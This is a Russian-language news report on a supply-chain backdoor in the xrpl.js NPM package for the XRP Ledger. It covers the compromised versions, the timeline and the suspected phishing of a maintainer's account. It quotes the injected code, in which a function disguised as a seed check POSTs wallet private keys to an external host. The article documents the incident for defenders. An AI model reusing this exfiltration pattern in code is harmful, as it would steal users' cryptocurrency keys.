Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ смогли Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ бэкдор Π² NPM-ΠΏΠ°ΠΊΠ΅Ρ‚ ΠΎΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡŽΡ‚Ρ‹ XPR

Π’ NPM-ΠΏΠ°ΠΊΠ΅Ρ‚Π΅ xrpl выявлСн врСдоносный ΠΊΠΎΠ΄ (CVE-2025-32965), ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π½Π° внСшний сСрвСр мастСр-ΠΊΠ»ΡŽΡ‡ΠΈ ΠΎΡ‚ ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠΊΠΎΡˆΠ΅Π»ΡŒΠΊΠΎΠ² ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹Π΅ ΠΊΠ»ΡŽΡ‡ΠΈ ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡŽΡ‚. ΠŸΠ°ΠΊΠ΅Ρ‚ xrpl позиционируСтся ΠΊΠ°ΠΊ ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ рСкомСндованная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° (xrpl.js) для взаимодСйствия JavaScript- ΠΈ TypeScript-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΡ… Ρ‡Π΅Ρ€Π΅Π· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ»ΠΈ Node.js, с Π΄Π΅Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΠΈΠ·ΠΎΠ²Π½Π½ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ‘ΠΆΠ½ΠΎΠΉ ΡΠ΅Ρ‚ΡŒΡŽ XRP Ledger (Ripple), Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰Π΅ΠΉ ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡŽΡ‚Ρƒ XRP, Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰ΡƒΡŽ 4 мСсто ΠΏΠΎ ΠΊΠ°ΠΏΠΈΡ‚Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ (уступаСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ BTC, ETH ΠΈ USDT). Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° xrpl.js насчитываСт 165 тысяч Π·Π°Π³Ρ€ΡƒΠ·ΠΎΠΊ Π·Π° ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚Ρƒ нСдСлю, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС зависимости Π² 143 NPM-ΠΏΠ°ΠΊΠ΅Ρ‚Π°Ρ… ΠΈ задСйствована Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡŽΡ‚Π½Ρ‹Ρ… прилоТСниях ΠΈ сайтах.

ВрСдоносный ΠΊΠΎΠ΄ присутствовал Π² выпусках xrpl.js 2.14.2, 4.2.1, 4.2.2, 4.2.3 ΠΈ 4.2.4, ΠΈ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ Π² вСрсиях 4.2.5 ΠΈ 2.14.3. На GitHub врСдоносныС вСрсии Π½Π΅ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈΡΡŒ ΠΈ Π±Ρ‹Π»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ NPM. ΠŸΠ°ΠΊΠ΅Ρ‚Ρ‹ с врСдоносным ΠΊΠΎΠ΄ΠΎΠΌ появились Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ NPM 21 апрСля Π² 23:53 (MSK) ΠΈ Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ администрациСй рСпозитория 22 апрСля Π² 16:00 (MSK). ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ Ρ€Π°Π·Π±ΠΎΡ€Π° ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚Π° со стороны ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° XRP Ledger ΠΏΠΎΠΊΠ° Π½Π΅ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Ρ‹, Π½ΠΎ прСдполагаСтся, Ρ‡Ρ‚ΠΎ Π°Ρ‚Π°ΠΊΠ° Π±Ρ‹Π»Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π° Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΡŽ ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи ΡΠΎΠΏΡ€ΠΎΠ²ΠΎΠΆΠ΄Π°ΡŽΡ‰Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠ½ΠΆΠΈΠ½ΠΈΡ€ΠΈΠ½Π³Π° ΠΈ Ρ„ΠΈΡˆΠΈΠ½Π³Π°.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ½Ρ‹Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ соотвСтствовали ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ Ρ€Π΅Π»ΠΈΠ·Ρƒ 4.2.0 ΠΈ ΠΎΡ‚Π»ΠΈΡ‡Π°Π»ΠΈΡΡŒ ΠΎΡ‚ Π½Π΅Π³ΠΎ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΠ²ΡˆΠΈΡ… ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Π½Π° внСшний сСрвСр Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠΊΠΎΡˆΠ΅Π»ΡŒΠΊΠ°Ρ…. ИзмСнСниС Π±Ρ‹Π»ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΎ Π² Π²ΠΈΠ΄Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ checkValidityOfSeed, прСподносимой ΠΊΠ°ΠΊ функция ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ цСлостности ΠΊΠ»ΡŽΡ‡Π°, Π° Π½Π° Π΄Π΅Π»Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΠ²ΡˆΠ΅ΠΉ запросы Π½Π° хост Β«0x9c.xyzΒ». export function checkValidityOfSeed(seed: string) { if (validSeeds.has(seed)) return validSeeds.add(seed) fetch(Β«https://0x9c[.]xyz/xcΒ», { method: β€˜POST’, headers: { β€˜ad-referral’: seed, } }) } … public constructor(…){ … this.privateKey = privateKey this.classicAddress = opts.masterAddress ? ensureClassicAddress(opts.masterAddress) : deriveAddress(publicKey) this.seed = opts.seed checkValidityOfSeed(privateKey) } … private static deriveWallet(…){ … const { publicKey, privateKey } = deriveKeypair(seed, { algorithm: opts.algorithm ?? DEFAULT_ALGORITHM, }) checkValidityOfSeed(privateKey) return new Wallet(publicKey, privateKey, { seed, masterAddress: opts.masterAddress, }) }

ВрСдоносный ΠΊΠΎΠ΄ внСдрялся поэтапно. Π’ вСрсии 4.2.1 ΠΈΠ· package.json Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ сСкции настроСк Β«scriptsΒ» ΠΈ Β«prettierΒ», Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Π»ΠΈ внСсСны измСнСния Π² Ρ„Π°ΠΉΠ»Ρ‹ build/xrp-latest-min.js ΠΈ build/xrp-latest.js. Π’ вСрсии 4.2.2 Π² Ρ„Π°ΠΉΠ» src/Wallet/index.js Π±Ρ‹Π» Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ врСдоносный ΠΊΠΎΠ΄. Π’ вСрсиях 4.2.3 ΠΈ 4.2.4 Π±Ρ‹Π»ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ врСдоносныС измСнСния, Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΊΠΎΠ΄Π° Π½Π° TypeScript.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ